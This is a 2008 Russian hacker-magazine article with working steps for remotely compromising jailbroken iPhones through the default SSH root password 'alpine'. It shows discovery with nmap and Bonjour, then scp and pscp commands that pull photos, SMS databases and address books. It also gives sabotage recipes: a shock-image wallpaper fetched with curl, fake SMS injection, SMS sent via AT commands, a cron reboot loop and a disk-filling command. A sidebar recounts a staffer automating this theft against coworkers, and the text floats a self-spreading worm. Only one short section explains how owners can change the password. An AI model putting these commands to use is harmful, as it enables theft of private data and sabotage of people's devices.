Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 116, АВГУСТ 2008 г.

Атака iPhone

Полумрак (plmrk@gmail.com)

Хакер, номер #116, стр. 116-054-1

Взлом телефонов от Apple

С лета прошлого года в Россию ввезли и разлочили больше 300 000 iPhone’ов. Учитывая массовое распространение и достаточно интересное внутреннее устройство этого гаджета, мы решили провести анализ его безопасности и выяснили, что почти любой iPhone можно взломать удаленно за несколько минут!

Welcome to Darwin

Многие относятся к iPhone как к телефону для блондинок. Он, и правда, нравится блондинкам, но работает при этом под управлением абсолютно полноценной Unix-операционки. Мобильная OS X изготавливается из настольной Mac OS X, которая, в свою очередь, является современной версией системы BSD-семейства NeXTSTEP, увидевшей свет за пять лет до ядра Linux – в 1986 году.

Инженеры Apple удалили из операционки iPhone почти все консольные утилиты, однако при установке OpenSSH на взломанный iPhone требуется поставить еще и пакет с BSD-окружением, так что тебя встретит компания старых друзей: от curl, scp и zsh до tar, bzip2 и gunizp.

Как и в любой Unix-системе, в мобильной Mac OS X есть суперпользователь с именем root и паролем, которым чаще всего по умолчанию является строка «alpine».

Шесть букв в одном регистре — обычно плохая идея для пароля root, но в обычном, не взломанном, iPhone вводить этот пароль некому и некуда. Он мог бы быть любым, и ничего бы не изменилось.

В России, разумеется, все iPhone взломаны, и на большинстве этих взломанных телефонов установлен OpenSSH — как единственный способ получить доступ к файловой системе. Когда-то это было стандартным этапом взлома и активации.

Таким образом, мы получаем очень забавную картину: почти к любому айфону в России можно удаленно подключиться по ssh с дефолтовой записью root:alpine и получить неограниченные возможности в управлении. Заставить телефон звонить и отправлять SMS – легко. Украсть базу с SMS, записную книжку, фотографии – еще проще. Вообще, можно сделать все, что угодно.

Обнаружение

Практическую часть экспериментов мы начнем с этапа, который называется «обнаружение». Ведь нужно знать, куда подключаться: к какому ip-адресу. Вообще говоря, у iPhone два сетевых интерфейса: Wi-Fi (en0, согласно ifconfig) и GPRS (PPP-интерфейс ip1, согласно тому же ifconfig). Для взлома лучше взаимодействовать с телефоном по Wi-Fi: GPRS пролегает по территории сотового провайдера и, к тому же, это очень медленный протокол. Между тем, времени для взлома обычно немного — iPhone любит поспать, и в режиме ожидания (standby mode) практически все процессы (твоя ssh-сессия, запущенный тобой процесс, даже запланированные по cron процессы) ставятся на паузу и возобновляются только после того, как владелец достанет телефон из кармана и разбудит его. Батарейку это экономит, а нервы может подсадить.

Можно придумать схему со сканированием всего доступного IP-диапазона какого-нибудь сотового провайдера или с регистрацией IP-адресов пользователей MobileSafari, зашедших на специально заведенный сайт — но все это лучше отложить на скучные зимние вечера. Куда быстрее и веселее увидеть человека, задумчиво гладящего на экран своего телефона в офисе или кафе с открытой WiFi-сетью.

Обнаружить iPhone с помощью nmap — элементарно. Запусти сканирование стандартным образом (например, nmap -O 10.0.0.*) и увидишь в списке прочих хостов вот такие записи:

Not shown: 1714 closed ports

PORTSTATE SERVICE

22/tcp openssh

MAC Address: XX:XX:XX:XX:XX:XX (Apple)

Device type: phone|media device

Running: Apple embedded

OS details: Apple iPhone mobile phone or iPod Touch audio player (Darwin 9.0.0d1)

Конечно, сканировать всю подсеть с ключом -O – долго и утомительно. Правильнее было бы пройтись по ней без ключа -O и только потом определить ОС на хостах с открытым 22-ым портом. Но и это не самый рациональный способ. На взломанном iPhone запущен не только sshd, но и mDNSResponder (Zeroconf от Apple). То есть при входе в сеть iPhone оповещает всех присутствующих о том, какие сервисы он предоставляет. Достаточно запустить, к примеру, SFTP-клиент с поддержкой Bonjour (допустим, Cyberduck под Mac OS X), и он известит тебя о появлении нового хоста в сети. Более того, mDNSResponder доступен в виде исходников, портирован на Linux и на Windows, и его легко использовать для автоматизации процесса поиска и проверки всех появившихся в сети телефонов.

Еще о системе

В мобильной OS X два пользователя (не считая nobody и unknown): root (это ты) и mobile (это владелец телефона). Файловая система телефона разделена на две части. Папка /var/mobile, содержащая данные пользователя, отделена от остальной системы (сделано для того, чтобы после обновления прошивки не нужно было заново заливать на iPhone адресную книгу, музыку и так далее).

Как в любой приличной UNIX ОС, в OS X все – либо файл, либо папка. Самые важные для тебя папки — Library (в них хранятся персональные данные и настройки) и Media (в них хранятся картинки, музыка и видео). В корне файловой системы (помимо стандартных etc, usr, dev и т.д) ты найдешь папки System, Library и Applications. Внутри папки System находится еще одна папка Library. Другая папка Library принадлежит пользователю mobile (/var/mobile/Library).

В настольной Mac OS X положение папки Library определяет ее значимость — в /System/Library свои данные хранят системные приложения, в /Library хранятся данные пользовательских приложений, общие для всей системы, а в ~/Library — личные данные пользователя. То же относится и к мобильной OS X. Поэтому большинство интересных вещей (настройки, базы sms и почтовые базы) ты найдешь в папке /var/mobile/Library/, а ключи доверенных WiFi-сетей — в /Library.

Итак, теперь ты знаешь, где искать полезные данные, но как они выглядят? Данные в мобильной OS X могут лежать внавалку, храниться в файлах .plist или базах SQLite.

Внавалку

Хотя параноики из Apple предпочитают записывать все в отдельные базы данных, кое-что валяется на диске iPhone просто так. Например, сделанные встроенной камерой снимки лежат в /var/mobile/Media/DCIM. Если хочешь их быстро украсть (надежда на домашнее порно жива и будет жить всегда) — воспользуйся утилитой scp:

scp -r root@iPhone.local.:/var/mobile/Media/DCIM

Человек подарил тебе надежду на домашнее порно — подари ему что-нибудь взамен, сделай его жизнь немножечко лучше. Картинка, которую он использует в качестве фона, хранится в файле /var/mobile/Library/LockBackground.jpg. Неважно, выбрана ли она системных картинок, залита с компьютера или снята встроенной камерой — она будет скопирована в это место и уменьшена до 320х480 пикселей. Размер важен — если картинка будет больше или меньше, она не будет масштабироваться.

В жизни каждого должна быть минутка для goatse. Скопируй заранее подготовленную картину на место указанной (например, curl http://goatse.cx/hello.jpg -o /var/mobile/Library/LockBackground.jpg), закрепи (чтобы растянуть удовольствие): chmod -w /var/mobile/Library/LockBackground.jpg и перезапусти SpringBoard (killall SpringBoard). Теперь владелец iPhone будет постоянно видеть (без вариантов!) одну из старейших реликвий интернета.

Настройки мобильной OS X — яркость, мелодия звонка, время срабатывания будильников и прочее — хранятся, как и в настольной Mac OS X, в файлах plist. Файлы plist бывают двух видов — текстовые и бинарные. Текстовые, разумеется, можно править любым текстовым редактором (это простой, легко читаемый XML); бинарные надо конвертировать в текстовые, а потом обратно. В мобильной OS X используются оба типа — системные настройки хранятся в текстовом виде, пользовательские — в бинарном.

Конвертируются плисты с помощью утилиты plutil. Если ты пользуешься Mac OS X, она у тебя уже есть, если нет — скачай. Существуют версии и для Linux, и для Windows. Команда plutil -convert преобразует файл из бинарного в текстовый и обратно — после plutil -convert xml1 ты сможешь править файл, после plutil -convert binary1 скопировать его обратно. Еще лучше пропихнуть на iPhone собранную Эрикой Садун версию plutil для мобильной OS X — она может исправлять различные параметры прямо из командной строки, без конвертации.

Например, в файле /var/mobile/Library/Prefences/com.apple.springboard.plist (после конвертации в XML) содержится подобный ключ:

<key>ringtone</key>

<string>system:Motorcycle</string>

Эта настройка определяет общую мелодию звонка. Значение в <string></string> может быть одним из следующих:

  1. <default> (рингтон по умолчанию, называется Marimba);
  2. system:название рингтона (рингтон из поставляемых с системой, они содержатся в папке /Library/Ringtones; приведенный выше рингтон — это файл /Library/Ringtones/Motorcycle.m4a);
  3. itunes:цифро-буквенный код (залитый пользователем рингтон, содержащийся в /var/mobile/Media/iTunes_Control/Ringtones; код здесь не имя файла, а идентификатор из какой-то базы данных).

Изменив этот ключ, ты сможешь изменить используемый рингтон. Самый надежный способ— заменить все системные рингтоны своим (контейнер — MPEG-4, кодек — ААС, длительность — не больше 40 секунд, расширение — .m4r).

Чтобы изменить значение ключа ringtone, либо сконвертируй com.apple.springboard.plist в текст, измени его вручную и сохрани, либо, используя утилиту Эрики, отдай команду:

plutil -s ringtone -v “system:Sonar” /var/mobile/Library/Preferences/com.apple.springboard.plist

По тому же принципу можно изменить любые настройки мобильной OS X. За год существования iPhone они были прекрасно документированы, а то, что ты не найдешь в Google, за тебя найдет grep.

SQLite

Наконец, в маленьких уютненьких базочках SQLite хранятся замечательные вещи — база SMS, адресная книжка и многое другое. База SMS лежит тут — /var/mobile/Library/SMS/sms.db, адресная книга тут — /var/mobile/Library/AddressBook.sqlitedb. Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).

Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-запросом, она исполнит его и выйдет. Если без — она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы — таблица messages в sms.db и таблица ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того — Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя — мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами.

И, конечно, используй sqlite3 в целях мира во всем мире:

sqlite3 sms.db “INSERT INTO messages VALUES(0, ‘+0000000’, 1354321900, ‘МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР’,1,0,NULL,0,0,0,0,0);”

Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу — третье поле в таблице содержит дату в эпохе).

AT+OMFG!

Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона — сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/tty.baseband) обычно недоступен — на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка — /dev/tty.debug.

Чтобы поговорить с модемом, можно использовать mincom (он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по умолчанию он пытается соединиться с /dev/modem. Но если ты торопишься, создай симлинк — ln /dev/tty.baseband /dev/modem (симлинки на телефоне — это очень круто).

Теперь запусти minicom и начинай отдавать AT-команды. К примеру, команда AT+CBC, сообщит тебе об уровне заряда батарейки:

AT+CBC

+CBC: 0,65

OK

Батарейка заряжена на 65%, и еще на какое-то время ее хватит. Теперь можно позвонить, отправить sms или подключить какую-нибудь хорошую услугу. Давай отправим sms — это меньшее, что мы можем сделать после того, как прочитали все имеющиеся.

AT+CMGF=1 // Модем переключается в текстовый режим (0 — голос, 1 — текст) и возвращает OK.

AT+CMGW=”+712345678” //Здесь начинается, собственно, сообщение. Номер абонента — часть команды. Модем вернет приглашение ввести текст сообщения —>

> Welcome... to the world of tomorrow! // Сообщение кончится, когда модем получит EOF — теперь оно будет записано в память. Модем вернет OK и +CMGW: N, где N — индекс сообщения в памяти модема.

AT+CMSS=N // Отправка сообщения, индекс которого — N — вернет OK, если сообщение успешно отправлено.

Список AT-команд не менялся уже много лет. Используя их, ты сможешь отправлять SMS, набирать телефонные номера и изучать свойства аппаратной части iPhone.

Для того чтобы отдавать AT-команды прямо из командной строки, было написано несколько утилит. Например, команда iPhone Elite выпустила утилиту sendmodem. Протолкнув sendmodem на iPhone, ты сможешь использовать ее саму по себе или в скриптах. Исходный код утилиты — прекрасный пример того, как отдавать AT-команды программно.

Перспективы

Как видишь, даже без особой подготовки можно найти и поюзать iPhone, получив при этом огромное удовольствие. А если ты подготовишься, то сможешь сделать куда больше.

Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки — ему требуется суровый мужской С. Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь — как бороться с standby mode, перехватывать управление модемом и так далее.

Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге) — можно было бы обойтись 10-15 строчками кода. В общем, iPhone — действительно революционное устройство.

Простое западло

Напоследок – два простых рецепта.

1. Если хочешь, чтобы вражеский айфон перезагружался раз в пять минут – просто набери crontab -e и добавь в cron одну строку:

*/5 * * * reboot

2. Неплохая идея – занять все свободные на айфоне гигабайты. Сделать это легко:

cat /dev/random > hahagotcha.txt

Бешеные гигабайты быстро кончатся, и iPhone будет настойчиво предлагать своему владельцу удалить пару фотографий и немного музыки, чтобы расчистить место.

Меняем пароль на iPhone

Если подопытный iPhone принадлежит тебе, защитить его очень просто — просто поменяй пароль root. Но если ты еще не обновился до второй версии прошивки – не стоит при этом использовать passwd. Этим ты испортишь /etc/master.passwd. Хоть OS X и не нужен пароль root, ей нужно прочитать при старте список пользователей. Телефон не сможет загрузиться и тебе придется восстанавливать его прошивку. Поменяй пароль вручную. Для этого нужно посчитать хеш нового пароля командой openssl passwd -crypt -salt /s твой_новый_пароль и заменить хэш пароля пользователя root в /etc/master.passwd. Если ты – конченый параноик, поставь заодно BossPrefs и отключай sshd, когда он тебе не нужен.

Gorl ставит опыты

Так уж вышло, что в офисе нашей редакции очень много айфонов. И если ты вдруг появишься с Nokia (а я большой поклонник N95, хоть и переквалифицировался на Apple), то на тебя будут очень сочуственно и активно смотреть, мол, ничего, бонус получишь и тоже обайфонишься, а пока - белая ворона.

Движимый благородными чувствами, я решил поломать все имеющиеся в области досигаемости нашей wifi-сети яблочные телефоны, чтобы их владельцы нормальных людей не так сильно смущали.

Больших сложностей после прочтения статьи у меня не возникло.

Скачал для своего домашнего питона модуль pybonjour (http://o2s.csail.mit.edu/o2s-wiki/pybonjour), который позволяет в реальном времени следить за zeroconf-сомвестимыми сервисами.

Подредактировал скрипт browse_and_resolve.py из комлпекта модуля так, чтобы он обнаруживал только ssh-сервисы: sys.argv[1] заменил на '_ssh._tcp' - и никаких тебе аргументов запуска.

Потом в callback-функции добавил, чтобы для кажого hostname запускался тред pscp.exe (из комплекта Putty) и скачивал список контактов, смс и все фотографии (%s - это хост айфона).

Контакты:

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/AddressBook/AddressBook.sqlitedb X:\iphones.db\%s\

Фотки:

pscp.exe -r -pw alpine root@%s:/var/mobile/media/DCIM X:\iphones.db\%s\

База SMS:

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/SMS/sms.db X:\iphones.db\%s\

Также потребовалась копия всех этих же комманд для старых прошивок: все то же самое, только 'root' вместо 'mobile'.

После запуска скрипта чужая приватная инфа не заставила себя ждать. Однако если с просмотром фоткок все понятно (jpeg - он и айфоне jpeg), то чтобы прочесть смс и адресную книгу пришлось скачать специальную утилитку для работы с базами sqlite (http://sqlitebrowser.sourceforge.net).

Вывести с ее помощью все контакты из файла AddressBook.sqlitedb помог простенький запроc:

SELECT ABPerson.Last, ABPerson.First, ABMultiValue.value FROM ABPerson, ABMultiValue

WHERE ABPerson.ROWID = ABMultiValue.record_id ORDER BY ABPerson.Last

Чтобы не побили хожу теперь по офису и делаю всем passwd.

INFO

SpringBoard — домашний экран iPhone, приложение, которое показывает иконки других приложений. Оно исполняет те же функции, что и Dock в настольной Mac OS X. Все запущенные пользователем приложения — дочерние процессы SpringBoard.

WARNING

  • Одинаковый пароль по умолчанию — не дыра в безопасности мобильной OS X, а небрежность пользователя, которому полагается знать, что он делает. Но это не значит, что OS X неуязвима. Уязвимость в браузере iPhone уже использовали для разлочки.
  • Чем больше ты найдешь уязвимостей, тем больше у тебя шансов получить работу в Apple: прямо сейчас на apple.com/jobs висит вакансия эксперта по безопасности iPhone.
  • Если хочешь поставить дело на поток, обрати внимание на одну из функций PwnageTool, приложения для взлома и разлочки iPhone (iphwn.org) — мультибут. Ты сможешь поставить прошивки версий 1.1.2, 1.1.4 и 2.0 бок о бок и перезагружаться из одной в другую.
Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001